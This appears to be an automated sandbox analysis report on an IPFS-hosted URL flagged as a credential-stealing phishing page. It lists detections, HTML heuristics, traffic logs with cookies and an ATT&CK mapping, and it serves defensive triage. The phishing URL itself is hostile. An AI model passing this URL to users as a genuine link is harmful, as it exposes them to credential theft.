Edit tour

Windows Analysis Report
https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

Overview

General Information

Sample URL:	https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com
Analysis ID:	1417021
Infos:

Detection

HTMLPhisher

Score:	72
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected HtmlPhish10

Found iframes

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Stores files to the Windows start menu directory

URL contains potential PII (phishing indication)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6108 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1952,i,4620291694326311838,13151074779166357779,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Multi AV Scanner detection for domain / URL

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/	Virustotal: Detection: 20%			Perma Link
Source: cloudflare-ipfs.com	Virustotal: Detection: 13%			Perma Link

Multi AV Scanner detection for submitted file

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

Virustotal: Detection: 20%

Perma Link

Phishing

Yara detected HtmlPhish10

Source: Yara match

File source: 1.1.pages.csv, type: HTML

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

HTTP Parser: Iframe src: https://www.domain.com

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

HTTP Parser: Number of links: 0

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

HTTP Parser: Title: DOMAIN does not match URL

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

Sample URL: PII: hello@domain.com

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

HTTP Parser: <input type="password" .../> found

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

HTTP Parser: No <meta name="author".. found

Source: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49733 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 23.221.242.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10

Source: global traffic	HTTP traffic detected: GET /ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/ HTTP/1.1Host: cloudflare-ipfs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ipfs/img/bg-image.jpg HTTP/1.1Host: cloudflare-ipfs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=3vWY19tkHbCA8zUK27cNHCmCfpjTzuJJntpmRoX0kJc-1711631690-1.0.1.1-7sPA60dT25Tey90IHHJKIgpEzFI3IOVFEMFI5rEyqCAW9MOfrRTia8f4EJUdufO_oJ05ZTfgdoyhz_G7HdSPLA
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cloudflare-ipfs.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.5.2/css/bootstrap.min.css HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cloudflare-ipfs.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/jquery.session@1.0.0/jquery.session.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://cloudflare-ipfs.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.domain.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://cloudflare-ipfs.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s2/favicons?sz=64&domain_url=https://www.domain.com HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIk6HLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=LtGInZ4I4WDrCvCHQBVMHOy4a-sqzpSrMO-Rwr8ezStTz_kfoi2bri7uGdXfNvskAEO_Tj5Jkwl0XSN-qA6MYiGShcDB_vNQOl1bpl3aua7gMrDRvWsHLpAuFBlBnNxTMeen95XElzx3r4myG8p8sgSHdx4NBawYGaI5oFn_dZ8
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/favicons/icon-32x32.png HTTP/1.1Host: www.fastmail.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://cloudflare-ipfs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EUETyHENx9kwVUk&MD=GoYcZmkz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EUETyHENx9kwVUk&MD=GoYcZmkz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: unknown

DNS traffic detected: queries for: cloudflare-ipfs.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Mar 2024 13:14:53 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingstrict-transport-security: max-age=31536000; includeSubDomains; preloadCF-Cache-Status: EXPIREDSet-Cookie: __cf_bm=tWB5w7KcK1Ib1bkTVbAHty2DA7M4QNLEb9ClnmuzmeU-1711631693-1.0.1.1-s5bY5he0oyQEYEWHewl1XKpbSMCVWkYX1WcmlFFZ2uS0T_3vk4ANYq6JDacej4ZNIS6ESa1X_l_CH9ln3yDJpQ; path=/; expires=Thu, 28-Mar-24 13:44:53 GMT; domain=.www.fastmail.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 86b7e2c5af8a388c-IADalt-svc: h3=":443"; ma=86400

Source: chromecache_88.1.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_85.1.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_81.1.dr, chromecache_90.1.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_90.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_81.1.dr, chromecache_85.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_81.1.dr, chromecache_85.1.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_76.1.dr, chromecache_77.1.dr	String found in binary or memory: https://ipinfo.io/missingauth
Source: chromecache_80.1.dr	String found in binary or memory: https://www.jsdelivr.com/using-sri-with-dynamic-files

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443

Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.16:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.221.242.90:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.16:49733 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.win@15/37@24/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1952,i,4620291694326311838,13151074779166357779,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1952,i,4620291694326311838,13151074779166357779,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
